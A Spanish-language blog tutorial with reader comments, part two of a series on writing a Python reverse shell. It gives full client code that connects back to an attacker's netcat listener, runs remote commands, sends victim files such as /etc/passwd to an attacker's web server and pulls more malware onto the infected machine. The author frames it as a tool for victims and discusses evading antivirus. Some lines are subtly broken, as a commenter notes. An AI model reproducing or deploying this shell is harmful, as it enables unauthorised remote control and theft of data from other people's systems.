Crea tu primera "Reverse shell" en Python :D - Parte 2

En la parte anterior les mostre que tan fácil era crear una "Reverse shell", pero siendo sincero carecia de muchos aspectos, cómo por ejemplo "La subida o baja de archivos" que es algo fundamental para llevar a cabo una post-explotación.

Hoy les enseñare dos cosas, la primera es una herramienta que creé hace poco tiempo y es perfecta para esta explicación y la segunda es que nos basaremos en ella.

Quize implantar lo que para mi opinión es lo relevante en una shell inversa, cómo por ejemplo:

  • Multiplataforma: No quiere decir que tenemos que crear miles de lineas para hacerla accesible a todas las plataformas existentes, pero sí a las que vayamos a atacar, cómo "Windows" o "Linux".
  • Subida y Bajada de archivos: Es lo más importante porque nos permite ingresar más malware en el sistema comprometido y más inteligente que una simple shell.
  • Acceso a directorios: Hay shell's que carecen de acceso a directorios porque no tienen esa funcionalidad implementada, se le llaman shell's tontas, aunque las shell's tontas abarcan un poco más de limitaciones cómo que no es similar a la shell del sistema en cuánto a funcionalidades.
  • Re-conexión: ¿Qué pasá si hay un corte de luz? ¿Sí hay un problema en la conexión? ¿De forma no intencional matamos el proceso? o un viaje de problemas que seguro se nos produciran, para evitar lo antes mencionado es mejor que la máquina comprometida se trate de conectar a nuestro servidor de forma constante, pero OJO hay que tener cuidado porque el AV nos puede detectar.
  • Sin librerías de terceros: ¿Por qué no?, simplemente porque no le vamos a decir a la victima "Oye permiteme descargar unas librerias para después tener acceso a tu sistema ¿Vale? -No, no hay problema es un gusto que me hagan compañia-" La idea es hacer lo menos posible para "pasar desapercibidos" y aclaro que siempre abran registros sobre lo que se hace.

 Puede que haya muchas más caracteristicas que no les mencioné, cómo evitar las señales SIGTERM u otra señal que nos pueda matar el proceso de la shell en la máquina infectada, pero eso lo verán en otra ocasión.

Bien, cómo siempre me gusta aclarar algunas cosas y aunque parezca aburrido esa parte teorica es mejor que lo tengan en la cabeza hasta la muerte porque si ponen en practica esos aspectos pueden construir una barbaridad. Ahora, comencemos con la practica... perdón el código.

Antes que nada, quiero aclarar que el código de la shell que nos basaremos está en mi repositorio de Github: https://github.com/DtxdF/Miindeath; no obstante crearemos un código nuevo siguiendo la mayoria de pautas aclaradas pero que no será susceptible a errores simplemente porque no quiero extender la explicación para que sea superflua.

Aquí les lanzo el código *Atajen*:

#!/usr/bin/env python3

import socket
import requests
import sys
from urllib3 import disable_warnings; disable_warnings()
from os import chdir
from os.path import basename
from subprocess import getoutput

RHOST = "localhost"         # Host remoto
RPORT = 8043                # Puerto remoto
WHOST = "http://localhost"  # Dirección del servidor HTTP (Web)
WPORT = 8080                # Dirección del puerto HTTP (Web)
CFILE = "upload.php"        # El archivo que controlara los datos de subida

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
sock.connect((RHOST, RPORT))

while (1):
    recv = sock.recv(1024).decode().strip().split()

    if (len(recv) <= 1):
        sock.send(("Sintaxis: ", "n").encode())
        continue

    cmd = recv[0].lower()
    data = ' '.join(recv[1:])
    
    if (cmd == 'cd'):
        chdir(data)
    
    elif (cmd == 'download'):
        requests.post('%s:%d/%s' % (WHOST, WPORT, CFILE), verify=False, data={
            'filename':data,
            'content':open(data, 'rb').read()

            })

    elif (cmd == 'upload'):
        open(basename(data), 'wb').write(requests.get('%s:%d/%s' % (WHOST, WPORT, data), verify=False).content)

    elif (cmd == 'shell'):
        sock.send(getoutput(data).encode())

    elif (cmd == 'exit'):
        sys.exit(1)

    else:
        sock.send(('No se encuentra el comando: "%s"' % (cmd)).encode())

    sock.send(b'n')

Ahora pasemos a la explicación, dónde dividire cada bloque (a mi manera) para que se pueda entender mejor (Solo lo haré con los que pueda causar más interrogantes).

import socket
import requests
import sys
from urllib3 import disable_warnings; disable_warnings()
from os import chdir
from os.path import basename
from subprocess import getoutput

En este bloque importamos todas las librerías necesarias para crear nuestra shell, sin embargo aquí yo me salí un poco de lo que se debe hacer e incluí una librería de terceros (requests), simplemente porque es más fácil dar la explicación.

Cabe notar que importe de "urllib3" la función "disable_warnings" para cuando que cada vez que nos conectemos a un servidor HTTP no nos presente una advertencia de que el certificado no es válido.

RHOST = "localhost"         # Host remoto
RPORT = 8043                # Puerto remoto
WHOST = "http://localhost"  # Dirección del servidor HTTP (Web)
WPORT = 8080                # Dirección del puerto HTTP (Web)
CFILE = "upload.php"        # El archivo que controlara los datos de subida

En este apartado vemos variables cuyo significado simplemente es la configuración, aunque dando una explicación más descriptiva:

  • RHOST: El host al que se conectara la máquna victima
  • RPORT: El puerto del servidor
  • WHOST: La dirección del servidor HTTP (Web)
  • WPORT: El puerto del servidor HTTP (Web)
  • CFILE: Es el archivo que reside en el servidor HTTP (Web) para controlar los datos que se suben (Ya explicare eso acontinuación)

Nota: Tal vez se pregunten "-¿Por qué necesitamos un servidor HTTP para transferir archivos cuando ya estamos creando uno?-, la respuesta es simple, por los hosting gratis o los servidores web que controlemos y también porque si es un archivo de gran tamaño es mejor almacenarlo en su servidor remoto"
 
Ahora analicemos el bucle 'while' poco a poco:

recv = sock.recv(1024).decode().strip().split()

Aquí hacemos referencia en la variable 'recv' el dato recibido que tendra en el buffer un bloque de '1024' bytes, posteriormente se descodificara con el método '.decode()' (Ya que está en bytes), luego quitara los caracteres cómo nueva linea 'n' y el retorno de carro 'r', por ejemplo, con el método '.strip()' y por último separa todos los caracteres que estén separados por un espacio con el método '.split()'.

if (len(recv) <= 1):
    sock.send(("Sintaxis:  ", "n").encode())
    continue

cmd = recv[0].lower()
data = ' '.join(recv[1:])

En la primera liena de este segmento verifica que si tiene menos o es igual a 1 en longitud de la separación de 'recv', si es así le muestra un mensaje de cómo debe ser la sintaxis para realizar la operación; en la segunda linea el comando lo convertiremos en minúsculas con el método '.lower()' y la variable data se encarga de que todos los datos separados faltantes sean ordenamos cómo un string con separaciones.

Por último, los comandos que se podrán ejecutar:

if (cmd == 'cd'):
    chdir(data)
    
elif (cmd == 'download'):
    requests.post('%s:%d/%s' % (WHOST, WPORT, CFILE), verify=False, data={
        'filename':data,
        'content':open(data, 'rb').read()

    })

elif (cmd == 'upload'):
    open(basename(data), 'wb').write(requests.get('%s:%d/%s' % (WHOST, WPORT, data), verify=False).content)

elif (cmd == 'shell'):
    sock.send(getoutput(data).encode())

elif (cmd == 'exit'):
    sys.exit(1)

else:
    sock.send(('No se encuentra el comando: "%s"' % (cmd)).encode())
  • cd: Cambia de directorio con la función 'chdir' del módulo 'os'
  • upload: Sube un archivo desde el servidor web hacia la máquina infectada
  • download: Sube un archivo desde la máquina infectada al servidor web. Cabe notar que las claves que se encuentran en el diccionario del parámetro 'data' de la función 'post' son acorde a cómo están en el archivo de control (Ya cobrara sentido acontinuación)
  • shell: Ejecuta un comando
  • exit: Salir

Ahora lo más importante de todo es el uso y es realmente sencillo, pero aclaro que no es susceptible a errores por lo que tendremos que ser perfectos en todo.

Lo primero dejemos escuchando a netcat en el puerto '8043' o el que ustedes decidan pero deben tener en cuenta que tienen que colocar el mismo puerto tanto en 'netcat' cómo en el payload.

nc -lvvp 8043
Listening on 0.0.0.0 8043

Por último ejecutemos en la máquina victima la shell, en mi caso yo la llamaré 'shell.py'

python3 shell.py

Verán como se genera una conexión:

Listening on 0.0.0.0 8043
Connection received on localhost 36600

Ese puerto '36600' es el puerto remoto y eso se encarga el sistema operativo.

Ahora sí, viene lo bueno... Ejecutemos un comando del sistema remotamente:

Listening on 0.0.0.0 8043
Connection received on localhost 36600
shell whoami
root

Lo que me falta por mostrar es la subida y bajada de archivos, veamos como reliazarlo en un par de script's, aunque siendo sinceros nos tenemos que salir un poco de Python e ir con otro lenguaje 'PHP'.


Si lo sé, podemos hacerlo con Python con un poco de lineas más, pero hay que ser sinceros, la mayoria de hostings usan PHP (Los gratuitos) por defecto, aunque en la tercera parte voy a mostrarles cómo crear un servidor HTTP en minutos para realizar estas tareas sin depender de un hosting usando exclusivamente Python.

Por cierto, deben guardarlo dependiendo de la variable de configuración "CFILE", en mi caso "upload.php"

Ahora en nuestra shell ejecutemos el comando:

...
download /etc/passwd

Con ese comando subimos el archivo '/etc/passwd' al servidor Web

Nota: Quiero aclarar dos cosas, estoy en Linux (Aunque igual funciona para Windows con algunas diferencias insustanciales) y debes tener instalado PHP o Apache, en mi caso yo usaré php como servidor ejecutando el siguiente comando:

php -S 0.0.0.0:8080

Ahora descargamos un archivo cualquiera desde el servidor Web, por ejemplo "upload.txt":

upload upload.txt

Eso fue todo compañeros, espero les haya ayudado en algo, para la tercera parte crearemos un servidor Web para no depender de un hosting y será usando exclusivamente Python.

~ DtxdF

  1. Juan Centeno dice:

    Interesante!!

    1. DtxdF dice:

      Muchas gracias por tu comentario =D

  2. Anónimo dice:

    Hola, esta bien explicado, gracias por compartir tu conocimiento. Tenia una consulta, lograste subir la tercera parte?

  3. FXSoundsKey dice:

    me tira error y me arroja en la linea 24 error de atributo pero en teoria esta bien

    sock.send(("Sintaxis: ", "n").encode())

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Subir
White Monkey